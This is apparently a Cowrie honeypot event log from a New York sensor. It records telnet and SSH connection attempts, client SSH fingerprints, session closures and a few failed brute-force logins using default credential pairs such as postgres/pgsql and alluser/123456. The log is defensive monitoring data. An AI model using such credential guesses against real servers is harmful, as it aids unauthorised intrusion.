{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":38388,"dst_ip":"10.17.0.5","dst_port":23,"session":"66e620541a84","protocol":"telnet","message":"New connection: 159.203.13.64:38388 (10.17.0.5:23) [session: 66e620541a84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:57:49.587891Z"}
{"eventid":"cowrie.session.closed","duration":46.524301290512085,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:57:50.737606Z","src_ip":"159.203.13.64","session":"276079f06e33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":34352,"dst_ip":"10.17.0.5","dst_port":23,"session":"6929942650e6","protocol":"telnet","message":"New connection: 159.203.13.64:34352 (10.17.0.5:23) [session: 6929942650e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:57:52.213382Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":34356,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3c66a92524d","protocol":"telnet","message":"New connection: 159.203.13.64:34356 (10.17.0.5:23) [session: b3c66a92524d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:57:57.070393Z"}
{"eventid":"cowrie.session.closed","duration":40.84860825538635,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:57:57.084570Z","src_ip":"159.203.13.64","session":"e7eab368c85f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":34362,"dst_ip":"10.17.0.5","dst_port":23,"session":"70429b4a5766","protocol":"telnet","message":"New connection: 159.203.13.64:34362 (10.17.0.5:23) [session: 70429b4a5766]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:57:58.014584Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.194.242","src_port":49786,"dst_ip":"10.17.0.5","dst_port":22,"session":"468609fe8829","protocol":"ssh","message":"New connection: 45.78.194.242:49786 (10.17.0.5:22) [session: 468609fe8829]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:57:58.286703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:57:58.291966Z","src_ip":"45.78.194.242","session":"468609fe8829","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:57:58.539649Z","src_ip":"45.78.194.242","session":"468609fe8829","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.54873275756836,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:00.716278Z","src_ip":"159.203.13.64","session":"a374393212cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":35612,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0385954ddd8","protocol":"telnet","message":"New connection: 159.203.13.64:35612 (10.17.0.5:23) [session: b0385954ddd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:01.266496Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":35622,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d9ee7b1e439","protocol":"telnet","message":"New connection: 159.203.13.64:35622 (10.17.0.5:23) [session: 1d9ee7b1e439]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:03.056295Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":35630,"dst_ip":"10.17.0.5","dst_port":23,"session":"0174b0670e0a","protocol":"telnet","message":"New connection: 159.203.13.64:35630 (10.17.0.5:23) [session: 0174b0670e0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:05.663330Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.70.221.65","src_port":55076,"dst_ip":"10.17.0.5","dst_port":23,"session":"59c27459070a","protocol":"telnet","message":"New connection: 45.70.221.65:55076 (10.17.0.5:23) [session: 59c27459070a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:06.045276Z"}
{"eventid":"cowrie.session.closed","duration":43.577937841415405,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:09.861444Z","src_ip":"159.203.13.64","session":"778c31226a1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":35642,"dst_ip":"10.17.0.5","dst_port":23,"session":"f28acde3f67b","protocol":"telnet","message":"New connection: 159.203.13.64:35642 (10.17.0.5:23) [session: f28acde3f67b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:09.935666Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":33050,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0e945caf3db","protocol":"telnet","message":"New connection: 80.252.221.197:33050 (159.203.135.109:23) [session: a0e945caf3db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:11.263821Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":33058,"dst_ip":"159.203.135.109","dst_port":23,"session":"655c9d57dd7d","protocol":"telnet","message":"New connection: 80.252.221.197:33058 (159.203.135.109:23) [session: 655c9d57dd7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:11.314008Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":33074,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b74984abbcb","protocol":"telnet","message":"New connection: 80.252.221.197:33074 (159.203.135.109:23) [session: 2b74984abbcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:11.621112Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":33090,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec9b9ad5ff70","protocol":"telnet","message":"New connection: 80.252.221.197:33090 (159.203.135.109:23) [session: ec9b9ad5ff70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:11.637600Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":44974,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3c90af00efa","protocol":"ssh","message":"New connection: 186.13.24.118:44974 (159.203.135.109:22) [session: b3c90af00efa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:12.064660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:12.070121Z","src_ip":"186.13.24.118","session":"b3c90af00efa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:12.228482Z","src_ip":"186.13.24.118","session":"b3c90af00efa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"a","message":"login attempt [ftpuser/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:12.887742Z","src_ip":"186.13.24.118","session":"b3c90af00efa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":57054,"dst_ip":"10.17.0.5","dst_port":23,"session":"08a3db953fa6","protocol":"telnet","message":"New connection: 159.203.13.64:57054 (10.17.0.5:23) [session: 08a3db953fa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:13.050218Z"}
{"eventid":"cowrie.session.closed","duration":39.160149812698364,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:13.840662Z","src_ip":"159.203.13.64","session":"5f9dbb1aee86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":57070,"dst_ip":"10.17.0.5","dst_port":23,"session":"88d91ec2d1e7","protocol":"telnet","message":"New connection: 159.203.13.64:57070 (10.17.0.5:23) [session: 88d91ec2d1e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:13.876757Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:14.046380Z","src_ip":"186.13.24.118","session":"b3c90af00efa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57058,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a80a9486b3f","protocol":"ssh","message":"New connection: 159.203.92.129:57058 (159.203.135.109:22) [session: 2a80a9486b3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:17.642175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:17.647090Z","src_ip":"159.203.92.129","session":"2a80a9486b3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:17.651611Z","src_ip":"159.203.92.129","session":"2a80a9486b3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alluser","password":"123456","message":"login attempt [alluser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:17.663819Z","src_ip":"159.203.92.129","session":"2a80a9486b3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.714218616485596,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:17.771401Z","src_ip":"159.203.13.64","session":"9ca1b60e64ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.419195652008057,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:18.464340Z","src_ip":"45.70.221.65","session":"59c27459070a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:18.670949Z","src_ip":"159.203.92.129","session":"2a80a9486b3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":60718,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a7172155fe6","protocol":"telnet","message":"New connection: 159.203.13.64:60718 (10.17.0.5:23) [session: 0a7172155fe6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:22.057073Z"}
{"eventid":"cowrie.session.closed","duration":35.82191824913025,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:22.879465Z","src_ip":"159.203.13.64","session":"6f706ad35d48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":60730,"dst_ip":"10.17.0.5","dst_port":23,"session":"cad1507ed0e1","protocol":"telnet","message":"New connection: 159.203.13.64:60730 (10.17.0.5:23) [session: cad1507ed0e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:26.292503Z"}
{"eventid":"cowrie.session.closed","duration":38.73164939880371,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:28.319442Z","src_ip":"159.203.13.64","session":"66e620541a84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":60746,"dst_ip":"10.17.0.5","dst_port":23,"session":"154fff90d990","protocol":"telnet","message":"New connection: 159.203.13.64:60746 (10.17.0.5:23) [session: 154fff90d990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:29.291883Z"}
{"eventid":"cowrie.session.closed","duration":41.388184785842896,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:29.676765Z","src_ip":"159.203.13.64","session":"0e13ad7b7e53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":34246,"dst_ip":"10.17.0.5","dst_port":23,"session":"27f2dab05d79","protocol":"telnet","message":"New connection: 159.203.13.64:34246 (10.17.0.5:23) [session: 27f2dab05d79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:33.848978Z"}
{"eventid":"cowrie.session.closed","duration":42.134724378585815,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:34.347999Z","src_ip":"159.203.13.64","session":"6929942650e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.98042869567871,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:38.643634Z","src_ip":"159.203.13.64","session":"0174b0670e0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":34262,"dst_ip":"10.17.0.5","dst_port":23,"session":"839060200a62","protocol":"telnet","message":"New connection: 159.203.13.64:34262 (10.17.0.5:23) [session: 839060200a62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:38.890580Z"}
{"eventid":"cowrie.session.closed","duration":44.32137417793274,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:42.335830Z","src_ip":"159.203.13.64","session":"70429b4a5766","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.26179265975952,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:42.528185Z","src_ip":"159.203.13.64","session":"b0385954ddd8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.99320387840271,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:42.928757Z","src_ip":"159.203.13.64","session":"f28acde3f67b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.142343044281006,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:43.212627Z","src_ip":"159.203.13.64","session":"b3c66a92524d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.215.80.173","src_port":37832,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1c08551ebf9","protocol":"ssh","message":"New connection: 103.215.80.173:37832 (159.203.135.109:22) [session: f1c08551ebf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:44.038145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:44.054645Z","src_ip":"103.215.80.173","session":"f1c08551ebf9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:44.662323Z","src_ip":"103.215.80.173","session":"f1c08551ebf9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":42228,"dst_ip":"10.17.0.5","dst_port":23,"session":"34bd7bc22442","protocol":"telnet","message":"New connection: 159.203.13.64:42228 (10.17.0.5:23) [session: 34bd7bc22442]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:45.813584Z"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"pgsql","message":"login attempt [postgres/pgsql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:46.786265Z","src_ip":"103.215.80.173","session":"f1c08551ebf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.63149690628052,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:47.687634Z","src_ip":"159.203.13.64","session":"1d9ee7b1e439","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.32527947425842,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:47.946237Z","src_ip":"80.252.221.197","session":"2b74984abbcb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:47.993089Z","src_ip":"103.215.80.173","session":"f1c08551ebf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.74021863937378,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:48.003917Z","src_ip":"80.252.221.197","session":"a0e945caf3db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.03866267204285,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:49.352518Z","src_ip":"80.252.221.197","session":"655c9d57dd7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.65425229072571,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:52.291752Z","src_ip":"80.252.221.197","session":"ec9b9ad5ff70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.90319561958313,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:58:53.953285Z","src_ip":"159.203.13.64","session":"08a3db953fa6","protocol":"telnet"}
